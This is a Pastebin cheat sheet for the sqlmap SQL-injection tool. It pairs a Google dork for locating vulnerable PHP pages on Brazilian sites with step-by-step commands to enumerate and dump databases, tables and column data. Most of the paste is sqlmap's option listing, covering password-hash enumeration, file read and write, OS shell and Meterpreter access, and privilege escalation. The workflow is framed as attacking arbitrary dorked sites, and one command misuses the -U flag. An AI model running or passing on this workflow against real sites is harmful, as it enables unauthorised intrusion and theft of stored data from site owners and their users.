Advertisement
Kyfx

Sqlmap Cheats By Kyfx Intro Manual How to use it! sqlmap.py

Sep 26th, 2015
394
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.79 KB | None | 0 0
  1. [*] SQLMap CheatSheet By Kyfx
  2. [*] Quick D0rk inurl:php?=id+site:.br
  3. ---===---================----------==================-----
  4. #Check if url is vulnerable and gather info on target.
  5. ./sqlmap -u <url>
  6. --=========---
  7. ---==========----------------============------------------------
  8. #Will check URL to dump DB's with 5 threads.
  9. ./sqlmap -u <url> --dbs --threads 5
  10. --=======================--------------===================-------
  11. ---==========----------------============------------------------
  12. #Will grab Tables from chosen DB's with 5 threads.
  13. ./sqlmap.py -u <url> -D <database> --tables --threads 5
  14. --=======================--------------===================-------
  15. ---============----------===============----------=----------------
  16. #Will grab Colums from chosen database with 5 threads.
  17. ./sqlmap.py -u <url> -D <database> -T <table> --columns --threads 5
  18. --=======================--------------===================-------
  19. -=======----------===============----------------==================----
  20. #Will dump column data.
  21. ./sqlmap.py -u <url> -D <database> -T <table> -U <table> --threads 5 --dump
  22. --=======================--------------===================-------
  23.  
  24. ---===--
  25. Options
  26. -==----=-
  27.  
  28. Options:
  29. --version show program's version number and exit
  30. -h, --help show this help message and exit
  31. -v VERBOSE Verbosity level: 0-6 (default 1)
  32.  
  33. Target:
  34. At least one of these options has to be specified to set the source to
  35. get target urls from
  36.  
  37. -d DIRECT Direct connection to the database
  38. -u URL, --url=URL Target url
  39. -l LOGFILE Parse targets from Burp or WebScarab proxy logs
  40. -m BULKFILE Scan multiple targets enlisted in a given textual file
  41. -r REQUESTFILE Load HTTP request from a file
  42. -g GOOGLEDORK Process Google dork results as target urls
  43. -c CONFIGFILE Load options from a configuration INI file
  44.  
  45. Request:
  46. These options can be used to specify how to connect to the target url
  47.  
  48. --data=DATA Data string to be sent through POST
  49. --param-del=PDEL Character used for splitting parameter values
  50. --cookie=COOKIE HTTP Cookie header
  51. --cookie-urlencode URL Encode generated cookie injections
  52. --drop-set-cookie Ignore Set-Cookie header from response
  53. --user-agent=AGENT HTTP User-Agent header
  54. --random-agent Use randomly selected HTTP User-Agent header
  55. --randomize=RPARAM Randomly change value for given parameter(s)
  56. --force-ssl Force usage of SSL/HTTPS requests
  57. --host=HOST HTTP Host header
  58. --referer=REFERER HTTP Referer header
  59. --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
  60. --auth-type=ATYPE HTTP authentication type (Basic, Digest or NTLM)
  61. --auth-cred=ACRED HTTP authentication credentials (name:password)
  62. --auth-cert=ACERT HTTP authentication certificate (key_file,cert_file)
  63. --proxy=PROXY Use a HTTP proxy to connect to the target url
  64. --proxy-cred=PCRED HTTP proxy authentication credentials (name:password)
  65. --ignore-proxy Ignore system default HTTP proxy
  66. --delay=DELAY Delay in seconds between each HTTP request
  67. --timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
  68. --retries=RETRIES Retries when the connection timeouts (default 3)
  69. --scope=SCOPE Regexp to filter targets from provided proxy log
  70. --safe-url=SAFURL Url address to visit frequently during testing
  71. --safe-freq=SAFREQ Test requests between two visits to a given safe url
  72. --eval=EVALCODE Evaluate provided Python code before the request (e.g.
  73. "import hashlib;id2=hashlib.md5(id).hexdigest()")
  74.  
  75. Optimization:
  76. These options can be used to optimize the performance of sqlmap
  77.  
  78. -o Turn on all optimization switches
  79. --predict-output Predict common queries output
  80. --keep-alive Use persistent HTTP(s) connections
  81. --null-connection Retrieve page length without actual HTTP response body
  82. --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
  83.  
  84. Injection:
  85. These options can be used to specify which parameters to test for,
  86. provide custom injection payloads and optional tampering scripts
  87.  
  88. -p TESTPARAMETER Testable parameter(s)
  89. --dbms=DBMS Force back-end DBMS to this value
  90. --os=OS Force back-end DBMS operating system to this value
  91. --prefix=PREFIX Injection payload prefix string
  92. --suffix=SUFFIX Injection payload suffix string
  93. --logic-negative Use logic operation(s) instead of negating values
  94. --skip=SKIP Skip testing for given parameter(s)
  95. --tamper=TAMPER Use given script(s) for tampering injection data
  96.  
  97. Detection:
  98. These options can be used to specify how to parse and compare page
  99. content from HTTP responses when using blind SQL injection technique
  100.  
  101. --level=LEVEL Level of tests to perform (1-5, default 1)
  102. --risk=RISK Risk of tests to perform (0-3, default 1)
  103. --string=STRING String to match in the response when query is valid
  104. --regexp=REGEXP Regexp to match in the response when query is valid
  105. --code=CODE HTTP response code to match when the query is valid
  106. --text-only Compare pages based only on the textual content
  107. --titles Compare pages based only on their titles
  108.  
  109. Techniques:
  110. These options can be used to tweak testing of specific SQL injection
  111. techniques
  112.  
  113. --technique=TECH SQL injection techniques to test for (default "BEUST")
  114. --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
  115. --union-cols=UCOLS Range of columns to test for UNION query SQL injection
  116. --union-char=UCHAR Character to use for bruteforcing number of columns
  117.  
  118. Fingerprint:
  119. -f, --fingerprint Perform an extensive DBMS version fingerprint
  120.  
  121. Enumeration:
  122. These options can be used to enumerate the back-end database
  123. management system information, structure and data contained in the
  124. tables. Moreover you can run your own SQL statements
  125.  
  126. -b, --banner Retrieve DBMS banner
  127. --current-user Retrieve DBMS current user
  128. --current-db Retrieve DBMS current database
  129. --is-dba Detect if the DBMS current user is DBA
  130. --users Enumerate DBMS users
  131. --passwords Enumerate DBMS users password hashes
  132. --privileges Enumerate DBMS users privileges
  133. --roles Enumerate DBMS users roles
  134. --dbs Enumerate DBMS databases
  135. --tables Enumerate DBMS database tables
  136. --columns Enumerate DBMS database table columns
  137. --schema Enumerate DBMS schema
  138. --count Retrieve number of entries for table(s)
  139. --dump Dump DBMS database table entries
  140. --dump-all Dump all DBMS databases tables entries
  141. --search Search column(s), table(s) and/or database name(s)
  142. -D DB DBMS database to enumerate
  143. -T TBL DBMS database table to enumerate
  144. -C COL DBMS database table column to enumerate
  145. -U USER DBMS user to enumerate
  146. --exclude-sysdbs Exclude DBMS system databases when enumerating tables
  147. --start=LIMITSTART First query output entry to retrieve
  148. --stop=LIMITSTOP Last query output entry to retrieve
  149. --first=FIRSTCHAR First query output word character to retrieve
  150. --last=LASTCHAR Last query output word character to retrieve
  151. --sql-query=QUERY SQL statement to be executed
  152. --sql-shell Prompt for an interactive SQL shell
  153.  
  154. Brute force:
  155. These options can be used to run brute force checks
  156.  
  157. --common-tables Check existence of common tables
  158. --common-columns Check existence of common columns
  159.  
  160. User-defined function injection:
  161. These options can be used to create custom user-defined functions
  162.  
  163. --udf-inject Inject custom user-defined functions
  164. --shared-lib=SHLIB Local path of the shared library
  165.  
  166. File system access:
  167. These options can be used to access the back-end database management
  168. system underlying file system
  169.  
  170. --file-read=RFILE Read a file from the back-end DBMS file system
  171. --file-write=WFILE Write a local file on the back-end DBMS file system
  172. --file-dest=DFILE Back-end DBMS absolute filepath to write to
  173.  
  174. Operating system access:
  175. These options can be used to access the back-end database management
  176. system underlying operating system
  177.  
  178. --os-cmd=OSCMD Execute an operating system command
  179. --os-shell Prompt for an interactive operating system shell
  180. --os-pwn Prompt for an out-of-band shell, meterpreter or VNC
  181. --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC
  182. --os-bof Stored procedure buffer overflow exploitation
  183. --priv-esc Database process' user privilege escalation
  184. --msf-path=MSFPATH Local path where Metasploit Framework is installed
  185. --tmp-path=TMPPATH Remote absolute path of temporary files directory
  186.  
  187. Windows registry access:
  188. These options can be used to access the back-end database management
  189. system Windows registry
  190.  
  191. --reg-read Read a Windows registry key value
  192. --reg-add Write a Windows registry key value data
  193. --reg-del Delete a Windows registry key value
  194. --reg-key=REGKEY Windows registry key
  195. --reg-value=REGVAL Windows registry key value
  196. --reg-data=REGDATA Windows registry key value data
  197. --reg-type=REGTYPE Windows registry key value type
  198.  
  199. General:
  200. These options can be used to set some general working parameters
  201.  
  202. -s SESSIONFILE Save and resume all data retrieved on a session file
  203. -t TRAFFICFILE Log all HTTP traffic into a textual file
  204. --batch Never ask for user input, use the default behaviour
  205. --charset=CHARSET Force character encoding used for data retrieval
  206. --check-tor Check to see if Tor is used properly
  207. --crawl=CRAWLDEPTH Crawl the website starting from the target url
  208. --csv-del=CSVDEL Delimiting character used in CSV output (default ",")
  209. --eta Display for each output the estimated time of arrival
  210. --flush-session Flush session file for current target
  211. --forms Parse and test forms on target url
  212. --fresh-queries Ignores query results stored in session file
  213. --parse-errors Parse and display DBMS error messages from responses
  214. --replicate Replicate dumped data into a sqlite3 database
  215. --save Save options to a configuration INI file
  216. --tor Use Tor anonymity network
  217. --tor-port=TORPORT Set Tor proxy port other than default
  218. --tor-type=TORTYPE Set Tor proxy type (HTTP - default, SOCKS4 or SOCKS5)
  219. --update Update sqlmap
  220.  
  221. Miscellaneous:
  222. -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
  223. --beep Sound alert when SQL injection found
  224. --check-payload Offline WAF/IPS/IDS payload detection testing
  225. --check-waf Check for existence of WAF/IPS/IDS protection
  226. --cleanup Clean up the DBMS by sqlmap specific UDF and tables
  227. --dependencies Check for missing sqlmap dependencies
  228. --gpage=GOOGLEPAGE Use Google dork results from specified page number
  229. --mobile Imitate smartphone through HTTP User-Agent header
  230. --page-rank Display page rank (PR) for Google dork results
  231. --smart Conduct through tests only if positive heuristic(s)
  232. --wizard Simple wizard interface for beginner users
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement